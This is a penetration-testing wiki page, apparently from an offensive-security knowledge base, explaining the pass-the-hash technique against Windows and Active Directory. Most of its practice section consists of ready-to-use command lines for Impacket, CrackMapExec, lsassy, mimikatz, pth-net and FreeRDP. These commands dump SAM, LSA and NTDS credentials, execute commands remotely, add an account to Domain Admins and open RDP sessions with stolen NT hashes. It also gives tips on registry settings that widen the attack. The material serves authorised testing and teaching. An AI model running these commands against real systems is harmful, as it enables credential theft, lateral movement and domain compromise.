Pass the hash

Theory
An attacker knowing a user's NT hash can use it to authenticate over NTLM (pass-the-hash) (or indirectly over Kerberos with overpass-the-hash).
Practice
There are many tools that implement pass-the-hash: Impacket scripts (Python) (psexec, smbexec, secretsdump...), CrackMapExec (Python), FreeRDP (C), mimikatz (C), lsassy (Python), pth-toolkit (Python) and many more.
Credentials dumping
Command execution
AD operations
RDP access
The Impacket script secretsdump (Python) has the ability to remotely dump hashes and LSA secrets from a machine (LMhash can be empty) (see dumping credentials from registry hives).
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secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/[email protected]'
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secretsdump.py -hashes ':NThash' 'DOMAIN/[email protected]'
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secretsdump.py 'DOMAIN/USER:[email protected]'
Copied!
​CrackMapExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).
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crackmapexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
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crackmapexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
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crackmapexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds
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​Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a CrackMapExec module (see dumping credentials from lsass process memory).
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crackmapexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
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crackmapexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
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lsassy -u $USER -H $NThash $TARGETS
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lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS
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Some Impacket scripts enable testers to execute commands on target systems with pass-the-hash (LMhash can be empty).
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psexec.py -hashes 'LMhash:NThash' 'DOMAIN/[email protected]'
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smbexec.py -hashes 'LMhash:NThash' 'DOMAIN/[email protected]'
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wmiexec.py -hashes 'LMhash:NThash' 'DOMAIN/[email protected]'
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atexec.py -hashes 'LMhash:NThash' 'DOMAIN/[email protected]'
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dcomexec.py -hashes 'LMhash:NThash' 'DOMAIN/[email protected]'
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​CrackMapExec (Python) has the ability to do it on a set of targets
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crackmapexec winrm $TARGETS -d $DOMAIN -u $USER -p $PASSWORD -x whoami
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crackmapexec smb $TARGETS --local-auth -u $USER -H $NThash -x whoami
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crackmapexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -x whoami
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On Windows, mimikatz (C) can pass-the-hash and open an elevated command prompt.
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sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NThash
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The pth-toolkit (Python) can be used from a Linux system to operate LDAP queries, add a user to a group and so on (LMhash can be ffffffffffffffffffffffffffffffff).
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pth-net rpc group members "Domain admins" -U 'Domain/User%LMhash:NThash' -S $DOMAIN_CONTROLLER
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pth-net rpc group addmem "Domain admins" Shutdown -U 'Domain/Admin%LMhash:NThash' -S $DOMAIN_CONTROLLER
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​FreeRDP (C) has the ability to do pass-the-hash for opening RDP sessions.
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xfreerdp /u:$USER /d:$DOMAIN /pth:'LMhash:NThash' /v:$TARGET /h:1010 /w:1920
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Limitations, tips and tricks
UAC limits pass-the-hash
UAC (User Account Control) limits which local users can do remote administration operations. And since most of the attacks exploiting pass-the-hash rely on remote admin operations, it affects this technique.
the registry key LocalAccountTokenFilterPolicy is set to 0 by default. It means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to do remote administration tasks. Setting it to 1 allows the other local admins as well.
the registry key FilterAdministratorToken is set to 0 by default. It allows the built-in local admin account (RID-500, "Administrator") to do remote administration tasks. If set to 1, it doesn't.
In short, by default, only the following accounts can fully take advantage of pass-the-hash:
local accounts : the built-in, RID-500, "Administrator" account
domain accounts : all domain accounts with local admin rights
WinRM enables pass-the-hash
Testers should look out for environments with WinRM enabled. During the WinRM configuration, the Enable-PSRemoting sets the LocalAccountTokenFilterPolicy to 1, allowing all local accounts with admin privileges to do remote admin tasks, hence allowing those accounts to fully take advantage of pass-the-hash.
Machine accounts
Just like with any other domain account, a machine account's NT hash can be used with pass-the-hash, but it is not possible to operate remote operations that require local admin rights (such as SAM & LSA secrets dump). These operations can instead be conducted with a Silver Ticket since the machine accounts validates Kerberos tickets used to authenticate to a said computer/service.
A domain controller machine account's NT hash can be used with pass-the-hash to dump the domain hashes (NTDS.dit). 
References
Pass the Hash
hackndo
Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - harmj0y
harmj0y

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Kerberos

Last modified 8mo ago

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Contents

Theory

Practice

Limitations, tips and tricks

References